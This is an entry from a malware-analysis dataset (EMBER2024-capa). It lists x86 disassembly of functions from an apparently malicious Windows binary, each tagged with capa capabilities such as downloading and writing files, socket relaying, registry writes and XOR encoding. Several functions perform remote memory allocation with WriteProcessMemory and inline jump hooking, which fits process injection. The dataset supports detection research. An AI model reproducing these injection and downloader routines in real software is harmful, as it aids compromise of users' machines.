joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418d47
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 0xc]
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x418e12
mov eax, 0x1000
call fcn.00416ed5
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x418dfe
mov dword [ebp - 0xc], ebx
cmp dword [ebp + 0x14], ebx
je 0x418da2
push ebx
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x418df6
lea eax, [ebp - 8]
push eax
push 0x1000
push dword [ebp - 0x10]
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x418df6
cmp dword [ebp - 8], ebx
je 0x418deb
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 8]
push dword [ebp - 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x418df6
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
jne 0x418df6
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jbe 0x418d8c
jmp 0x418df6
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov byte [ebp - 1], 1
push dword [ebp - 0x10]
call fcn.00416f05
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 1], bl
jne 0x418e12
push dword [ebp + 0xc]
call fcn.0041c264
mov al, byte [ebp - 1]
pop edi
pop ebx
leave
ret 0x10

Function at 0x419145
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [eax]
sub edx, dword [ebp + 8]
xor ecx, ecx
sub esp, 0xc
mov dword [eax + 0x40], edx
mov dword [eax + 0x44], ecx
cmp dword [ebp + 8], ecx
jbe 0x4191d8
mov edx, dword [eax + 0x4c]
mov dword [ebp - 4], edx
mov edx, dword [eax + 0x58]
push ebx
push esi
mov esi, dword [eax + 0x54]
mov dword [ebp - 8], edx
mov edx, dword [eax + 0x5c]
push edi
mov edi, dword [eax + 0x50]
mov dword [ebp - 0xc], edx
mov edx, dword [eax + 0x48]
sub edi, esi
movzx ebx, byte [edx + ecx]
movzx eax, byte [edx + ecx + 1]
shl ebx, 5
xor eax, ebx
movzx ebx, byte [edx + ecx + 2]
dec dword [ebp + 8]
shl eax, 5
xor eax, ebx
mov ebx, dword [ebp - 4]
imul eax, eax, 0x9f5f
shr eax, 5
and eax, 0xffff
mov ebx, dword [ebx + eax*4]
mov dword [edi + esi], ebx
mov ebx, dword [ebp - 4]
mov dword [ebx + eax*4], ecx
mov ebx, dword [ebp - 8]
mov dword [esi], 0x801
inc dword [ebx + eax*4]
movzx eax, word [edx + ecx]
mov ebx, dword [ebp - 0xc]
mov dword [ebx + eax*4], ecx
inc ecx
add esi, 4
cmp dword [ebp + 8], 0
ja 0x41917d
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x419608
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
jbe 0x419689
push ebx
push esi
mov esi, dword [edi + 0x34]
mov edx, edi
call fcn.00419439
mov ecx, dword [edi + 0x30]
mov eax, dword [edi + 0x48]
lea edx, [ecx + eax]
movzx eax, byte [edx]
movzx esi, byte [edx + 1]
shl eax, 5
xor eax, esi
movzx esi, byte [edx + 2]
mov ebx, dword [edi + 0x50]
shl eax, 5
xor eax, esi
mov esi, dword [edi + 0x4c]
imul eax, eax, 0x9f5f
shr eax, 5
and eax, 0xffff
shl eax, 2
add esi, eax
mov dword [ebp - 4], esi
mov esi, dword [esi]
mov dword [ebx + ecx*4], esi
mov esi, dword [ebp - 4]
mov dword [esi], ecx
mov esi, dword [edi + 0x54]
mov dword [esi + ecx*4], 0x801
mov esi, dword [edi + 0x58]
inc dword [eax + esi]
movzx eax, word [edx]
mov edx, dword [edi + 0x5c]
mov dword [edx + eax*4], ecx
mov eax, edi
call fcn.0041959c
dec dword [ebp + 8]
jne 0x419614
pop esi
pop ebx
leave
ret 4

Function at 0x419e48
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
cmp ecx, 0xffffffff
je 0x419e6e
xor edx, edx
mov eax, ecx
mov esi, 0x3e8
div esi
imul edx, edx, 0x3e8
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
inc ecx
neg ecx
sbb ecx, ecx
lea eax, [ebp - 8]
and ecx, eax
push ecx
xor esi, esi
push esi
push esi
lea eax, [ebp - 0x10c]
push eax
push esi
mov dword [ebp - 0x10c], 1
mov dword [ebp - 0x108], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
je 0x419ea5
or eax, 0xffffffff
jmp 0x419eb3
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.WS2_32.dll_recv]
pop esi
leave
ret 8

Function at 0x419eb8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
mov ebx, ecx
cmp dword [ebp + 0xc], 0
jbe 0x419ed5
mov ecx, dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.00419e48
jmp 0x419ee2
push 0
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x419efc
add dword [ebp + 8], eax
sub esi, eax
test esi, esi
jg 0x419ec1
xor eax, eax
test esi, esi
sete al
pop esi
pop ebx
pop ebp
ret 8
xor al, al
jmp 0x419ef6

Function at 0x419f2f
Capabilities:
Send data
Send data on socket

Disassembly:
push 0
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, dword [esp + 0xc]
sete al
ret 0xc

Function at 0x419f4d
Capabilities:
Connect socket

Disassembly:
movzx eax, word [edi]
push esi
push 6
push 1
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x419f8a
xor eax, eax
cmp word [edi], 2
setne al
dec eax
and eax, 0xfffffff4
add eax, 0x1c
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x419f8a
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
mov eax, esi
pop esi
ret
Function at 0x419f8e
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
rol ax, 8
movzx ebx, ax
xor edi, edi
lea eax, [ebp + 8]
push eax
push edi
push edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x419fbf
or eax, 0xffffffff
jmp 0x41a041
push esi
mov esi, dword [ebp + 8]
jmp 0x419ff3
mov eax, dword [esi + 4]
cmp eax, 2
jne 0x419fdd
push dword [esi + 0x10]
push dword [esi + 0x18]
call fcn.00416f58
mov dword [ebp - 4], eax
jmp 0x419ff0
cmp eax, 0x17
jne 0x419ff0
push dword [esi + 0x10]
push dword [esi + 0x18]
call fcn.00416f58
mov dword [ebp - 8], eax
mov esi, dword [esi + 0x1c]
cmp esi, edi
jne 0x419fc5
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, dword [ebp - 4]
or esi, 0xffffffff
cmp eax, edi
je 0x41a017
mov edi, eax
mov word [eax + 2], bx
call fcn.00419f4d
mov esi, eax
mov edi, dword [ebp - 8]
test edi, edi
je 0x41a02e
cmp esi, 0xffffffff
jne 0x41a02e
mov word [edi + 2], bx
call fcn.00419f4d
mov esi, eax
push dword [ebp - 4]
call fcn.00416f05
push dword [ebp - 8]
call fcn.00416f05
mov eax, esi
pop esi
pop edi
pop ebx
leave
ret 4

Function at 0x41a101
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x510
push esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_select]
xor esi, esi
jmp 0x41a17d
mov dword [ebp + 0x70], esi
cmp dword [ebp - 0x9c], esi
jbe 0x41a17d
mov eax, dword [ebp + 0x70]
mov eax, dword [ebp + eax*4 - 0x98]
cmp eax, ebx
jne 0x41a139
mov ecx, dword [ebp + 0x7c]
mov dword [ebp + 0x6c], ecx
jmp 0x41a13c
mov dword [ebp + 0x6c], ebx
push esi
push 0x400
lea ecx, [ebp - 0x49c]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x68], eax
cmp eax, 1
jl 0x41a1ac
push esi
push eax
lea eax, [ebp - 0x49c]
push eax
push dword [ebp + 0x6c]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, dword [ebp + 0x68]
jne 0x41a1ac
inc dword [ebp + 0x70]
mov eax, dword [ebp + 0x70]
cmp eax, dword [ebp - 0x9c]
jb 0x41a123
mov eax, dword [ebp + 0x7c]
push esi
push esi
mov dword [ebp - 0x94], eax
push esi
lea eax, [ebp - 0x9c]
push eax
push esi
mov dword [ebp - 0x9c], 2
mov dword [ebp - 0x98], ebx
call edi
cmp eax, 1
jge 0x41a118
pop edi
pop esi
add ebp, 0x74
leave
ret 4
Function at 0x41a1b5
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, eax
mov eax, dword [ebp + 0xc]
lea ecx, [esi + 1]
cmp ecx, 0x40
jae 0x41a249
test eax, eax
je 0x41a1ec
xor edx, edx
mov ebx, 0x3e8
div ebx
mov ebx, dword [ebp + 8]
imul edx, edx, 0x3e8
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 4
push ebx
lea eax, [ebp - 0x108]
push eax
mov dword [ebp - 0x10c], ecx
call fcn.00416f41
test esi, esi
je 0x41a21a
mov eax, esi
shl eax, 2
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push eax
call fcn.00416f41
xor eax, eax
cmp eax, dword [ebp + 0xc]
lea ecx, [ebp - 8]
sbb eax, eax
and eax, ecx
push eax
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jne 0x41a252
push 0x274c
call dword [sym.imp.WS2_32.dll_WSASetLastError]
or eax, 0xffffffff
pop esi
pop ebx
leave
ret 0xc
cmp eax, 0xffffffff
je 0x41a249
xor esi, esi
push dword [ebx + esi*4]
lea eax, [ebp - 0x10c]
call fcn.00419e22
test al, al
jne 0x41a273
inc esi
cmp esi, 1
jb 0x41a259
jmp 0x41a249
mov eax, dword [ebx + esi*4]
jmp 0x41a24c

Function at 0x41a325
Capabilities:
Create udp socket

Disassembly:
movzx eax, word [esi]
push edi
push 0x11
push 2
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x41a362
xor eax, eax
cmp word [esi], 2
setne al
dec eax
and eax, 0xfffffff4
add eax, 0x1c
push eax
push esi
push edi
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x41a362
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
or edi, 0xffffffff
mov eax, edi
pop edi
ret

Function at 0x41acce
Capabilities:
Get common file path

Disassembly:
push edi
xor edi, edi
call fcn.0041abef
test al, al
je 0x41adbf
push esi
mov eax, 0x950
call fcn.00416ed5
mov esi, eax
test esi, esi
je 0x41adb9
push dword [esp + 0xc]
lea eax, [esi + 0x53e]
push eax
xor eax, eax
call fcn.0041c78e
test al, al
je 0x41adb3
lea eax, [esi + 0x746]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
setne al
test al, al
je 0x41adb3
mov ecx, accept
mov dword [esi + 0x14], ecx
lea eax, [esi + 0x10]
mov dword [eax], ecx
xor ecx, ecx
inc ecx
push 0xc
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
push 0x404a68
lea ecx, [esi + 0x132]
push ecx
call fcn.00416f41
push 2
push 0x404a54
lea ecx, [esi + 0x232]
push ecx
call fcn.00416f41
push esi
push eax
push 0x41aad9
push 0x41aaa1
push 0x41aa55
push fcn.0041aa2c
push 0x41a9e4
push 0x41a9ac
push fcn.0041a977
push fcn.0041a7eb
push fcn.0041a7d8
lea eax, [esi + 4]
push 0x41ab5a
push eax
call dword [0x422c5c]
add esp, 0x34
mov dword [esi], eax
test eax, eax
je 0x41adb3
mov edi, esi
jmp 0x41adbe
push esi
call fcn.00416f05
call fcn.0041acad
pop esi
mov eax, edi
pop edi
ret 4
Function at 0x41afc5
Capabilities:
Create thread

Disassembly:
cmp byte [esi], 0x40
jb 0x41afd9
push 0x9b
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x41b007
cmp dword [esp + 8], 0
je 0x41b005
push 0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [esp + 0x14]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x41afd5
movzx ecx, byte [esi]
mov dword [esi + ecx*4 + 4], eax
inc byte [esi]
mov al, 1
ret 0xc

Function at 0x41b02d
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea ecx, [ebp - 4]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41b066
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 4]
call fcn.0041b155
mov ebx, eax
jmp 0x41b069
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x41b0da
test bl, 1
jne 0x41b0da
cmp dword [ebp + 8], 1
je 0x41b07f
cmp dword [ebp + 8], 2
jne 0x41b0da
test ebx, ebx
jne 0x41b08a
xor eax, eax
mov word [edi], ax
jmp 0x41b0d6
shr ebx, 1
lea eax, [ebx - 1]
cmp word [edi + eax*2], 0
jne 0x41b099
dec ebx
jmp 0x41b0a7
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x41b0da
xor ecx, ecx
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x41b0d6
cmp dword [ebp + 8], 2
jne 0x41b0d6
push edi
call fcn.004172c1
mov esi, eax
test esi, esi
je 0x41b0cd
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x41b0d0
or ebx, 0xffffffff
push esi
call fcn.00416f05
mov eax, ebx
jmp 0x41b0dd
or eax, 0xffffffff
pop esi
pop ebx
leave
ret 0xc

Function at 0x41b188
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push ebx
lea ecx, [ebp - 4]
push ecx
push ebx
push 2
push ebx
push ebx
push ebx
push dword [ebp + 8]
mov eax, reloc.WS2_32.dll_accept
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x41b1d5
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x41b1cc
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret 0x14
Function at 0x41b1dc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
or dword [ebp - 8], 0xffffffff
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 4]
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push ebx
push dword [ebp + 8]
push dword [edi]
call esi
test eax, eax
jne 0x41b24e
mov eax, dword [ebp - 4]
cmp eax, ebx
jne 0x41b213
mov dword [ebp - 8], ebx
jmp 0x41b24e
add eax, 4
call fcn.00416ed5
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x41b24e
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
push dword [edi]
call esi
test eax, eax
jne 0x41b246
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
jmp 0x41b24e
push dword [ebp - 0xc]
call fcn.00416f05
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret 0xc

Function at 0x41b288
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
movzx ecx, cl
push edi
movzx eax, al
push ecx
call fcn.0041828a
mov esi, eax
mov dword [ebp - 0xc], esi
call fcn.0041823e
mov ebx, 0x404aa8
test eax, 0x100
je 0x41b2bf
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x404abc
jmp 0x41b2c9
mov dword [ebp - 0x1c], 0x404abc
mov dword [ebp - 0x18], ebx
xor edi, edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
cmp esi, edi
jbe 0x41b377
mov eax, dword [ebp + 8]
and eax, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], 2
jne 0x41b30e
call fcn.0041823e
test eax, 0x100
je 0x41b300
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x404abc
jmp 0x41b30a
mov dword [ebp - 0x1c], 0x404abc
mov dword [ebp - 0x18], ebx
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov esi, dword [ebp + eax*4 - 0x1c]
xor eax, eax
cmp esi, ebx
setne al
dec eax
and eax, 0xd
add eax, 6
cmp dword [ebp - 0x10], 0
mov dword [ebp - 0x14], eax
je 0x41b350
mov eax, edi
sub eax, dword [ebp - 8]
cmp eax, 1
jbe 0x41b350
call fcn.0041823e
mov ecx, eax
mov eax, 0x101
and ecx, eax
cmp ecx, eax
jne 0x41b350
push 0x20
pop eax
mov dword [ebp - 8], edi
jmp 0x41b360
mov eax, dword [ebp - 0x14]
dec eax
push 0
call fcn.0041828a
movsx ax, byte [eax + esi]
mov ecx, dword [ebp + 0xc]
mov word [ecx + edi*2], ax
inc edi
inc dword [ebp - 4]
cmp edi, dword [ebp - 0xc]
jb 0x41b2e2
mov esi, dword [ebp - 0xc]
test byte [ebp + 8], 4
je 0x41b396
test esi, esi
je 0x41b396
mov edi, dword [ebp + 0xc]
lea eax, [edi + esi*2 - 2]
cmp word [eax], 0x20
jne 0x41b399
sub eax, 2
dec esi
jne 0x41b388
jmp 0x41b399
mov edi, dword [ebp + 0xc]
xor eax, eax
test byte [ebp + 8], 2
mov word [edi + esi*2], ax
je 0x41b3b2
movzx eax, word [edi]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
mov word [edi], ax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x41b3b9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
xor esi, esi
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
mov al, byte [ebp + 0x18]
mov cl, 4
call fcn.0041b288
push dword [ebp + 0xc]
lea eax, [ebp - 0x208]
push dword [ebp + 0x10]
call fcn.0041c78e
test al, al
je 0x41b412
cmp dword [ebp + 0x14], 0
je 0x41b404
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
test eax, eax
je 0x41b412
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x41b41f
inc esi
cmp esi, 0x64
jb 0x41b3c5
xor al, al
pop esi
leave
ret 0x14
mov al, 1
jmp 0x41b41a

Function at 0x41b4ac
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x2d4
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp - 0x260]
push eax
push ebx
push ebx
push 0x24
push ebx
mov byte [ebp + 0x73], bl
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x41b54a
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
lea eax, [ebp - 0x260]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
jmp 0x41b513
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test eax, eax
je 0x41b54a
lea eax, [ebp - 0x260]
push eax
call esi
push 0x64
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x260]
push eax
call edi
test eax, eax
je 0x41b4ec
cmp word [ebp - 0x44], 0x7b
jne 0x41b54a
push dword [ebp + 0x7c]
xor eax, eax
mov word [ebp + 8], ax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jne 0x41b54a
mov byte [ebp + 0x73], 1
jmp 0x41b555
push 0x10
push ebx
push dword [ebp + 0x7c]
call fcn.00416fb8
mov al, byte [ebp + 0x73]
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret 4
Function at 0x41b745
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov ebx, eax
mov eax, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 8], esi
call fcn.0041b700
cmp eax, 0x1e
jb 0x41b859
lea eax, [ebp - 4]
push eax
push 0x40
push 0x1e
push dword [ebp + 8]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x41b859
push 0x23
push 0xffffffffffffff90
lea eax, [ebp - 0x2c]
push eax
call fcn.00416fb8
push esi
push 0x1e
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 8]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x41b845
push edi
lea edi, [ebp - 0x2c]
push esi
mov eax, edi
push eax
jmp 0x41b7e2
add esi, eax
cmp esi, 0x1e
ja 0x41b844
mov cl, byte [edi]
cmp cl, 0xe9
je 0x41b7c8
cmp cl, 0xe8
jne 0x41b7d6
cmp eax, 5
jne 0x41b7d6
mov eax, dword [ebp + 8]
sub eax, dword [ebp + 0xc]
add dword [edi + 1], eax
push 0
cmp esi, 5
jae 0x41b7ee
lea edi, [ebp + esi - 0x2c]
push edi
call fcn.0041d8e0
cmp eax, 0xffffffff
jne 0x41b7b1
jmp 0x41b844
mov eax, dword [ebp + 8]
sub eax, dword [ebp + 0xc]
lea edi, [esi + 5]
sub eax, 5
mov dword [ebp + esi - 0x2b], eax
push edi
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 0xc]
mov byte [ebp + esi - 0x2c], 0xe9
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xffffffffffffffff
call esi
test eax, eax
je 0x41b844
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
sub ebx, ecx
sub ebx, 5
mov byte [ebp - 0x2c], 0xe9
mov dword [ebp - 0x2b], ebx
call fcn.00404c06
push 0
push 5
lea eax, [ebp - 0x2c]
push eax
push ecx
push 0xffffffffffffffff
call esi
test eax, eax
je 0x41b844
mov dword [ebp - 8], edi
pop edi
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x1e
push dword [ebp + 8]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret 8
Function at 0x41b862
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, eax
mov esi, dword [edi + 0x3c]
add esi, edi
mov ebx, dword [esi + 0x50]
push ebx
push edi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x41b88f
xor eax, eax
jmp 0x41b960
push 0x40
push 0x3000
push ebx
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
test eax, eax
je 0x41b95d
push ebx
push edi
call fcn.00416f58
mov ebx, eax
xor ecx, ecx
cmp ebx, ecx
je 0x41b946
cmp dword [esi + 0xa4], ecx
jbe 0x41b93a
mov eax, dword [esi + 0xa0]
cmp eax, ecx
jbe 0x41b93a
mov esi, dword [esi + 0x34]
mov edx, dword [ebp - 8]
sub edi, esi
sub edx, esi
mov dword [ebp - 0x10], edi
add eax, ebx
jmp 0x41b91f
mov esi, dword [eax + 4]
cmp esi, 8
jb 0x41b91a
add esi, 0xfffffff8
shr esi, 1
mov dword [ebp - 0xc], ecx
je 0x41b91a
mov ecx, dword [ebp - 0xc]
movzx ecx, word [eax + ecx*2 + 8]
test cx, cx
je 0x41b912
and ecx, 0xfff
add ecx, dword [eax]
mov edi, edx
sub edi, dword [ebp - 0x10]
add dword [ecx + ebx], edi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jb 0x41b8f5
add eax, dword [eax + 4]
xor ecx, ecx
cmp dword [eax], ecx
jne 0x41b8e3
push ecx
push dword [ebp - 0x14]
push ebx
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
setne byte [ebp - 1]
push ebx
call fcn.00416f05
cmp byte [ebp - 1], 0
jne 0x41b95d
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
and dword [ebp - 8], 0
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x41b967
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push 0x3c
pop edx
push edx
xor ebx, ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call fcn.00416fb8
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x3c], edx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x41b9a7
xor al, al
jmp 0x41ba53
push 0x10
push ebx
push esi
call fcn.00416fb8
push dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.00417363
mov dword [esi], eax
cmp eax, ebx
je 0x41b9a0
jmp 0x41b9d1
mov eax, dword [ebp - 0x10]
cmp byte [eax], 0x2f
jne 0x41b9d6
dec dword [ebp - 0xc]
inc dword [ebp - 0x10]
cmp dword [ebp - 0xc], ebx
ja 0x41b9c3
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
push edi
lea edi, [eax + ecx + 1]
lea eax, [edi + 1]
call fcn.00416ed5
mov dword [esi + 4], eax
cmp eax, ebx
jne 0x41b9fb
push dword [esi]
call fcn.00416f05
xor al, al
jmp 0x41ba52
push dword [ebp - 0xc]
inc eax
push dword [ebp - 0x10]
push eax
call fcn.00416f41
push dword [ebp - 4]
mov eax, dword [esi + 4]
mov ecx, dword [ebp - 0xc]
push dword [ebp - 8]
lea eax, [eax + ecx + 1]
push eax
call fcn.00416f41
mov eax, dword [esi + 4]
mov byte [eax], 0x2f
mov byte [eax + edi], bl
mov eax, dword [ebp - 0xc]
inc eax
mov dword [esi + 8], eax
mov ax, word [ebp - 0x24]
mov word [esi + 0xc], ax
mov eax, dword [ebp - 0x30]
sub eax, 3
je 0x41ba4c
dec eax
je 0x41ba46
mov byte [esi + 0xe], bl
jmp 0x41ba50
mov byte [esi + 0xe], 2
jmp 0x41ba50
mov byte [esi + 0xe], 1
mov al, 1
pop edi
pop ebx
leave
ret 4

Function at 0x41c0b9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41c116
cmp dword [ebp + 0xc], ebx
je 0x41c100
cmp dword [ebp + 0x10], ebx
je 0x41c100
push ebx
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41c102
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp bl, 1
je 0x41c116
push dword [ebp + 8]
call fcn.0041c264
pop esi
mov al, bl
pop ebx
pop ebp
ret 0xc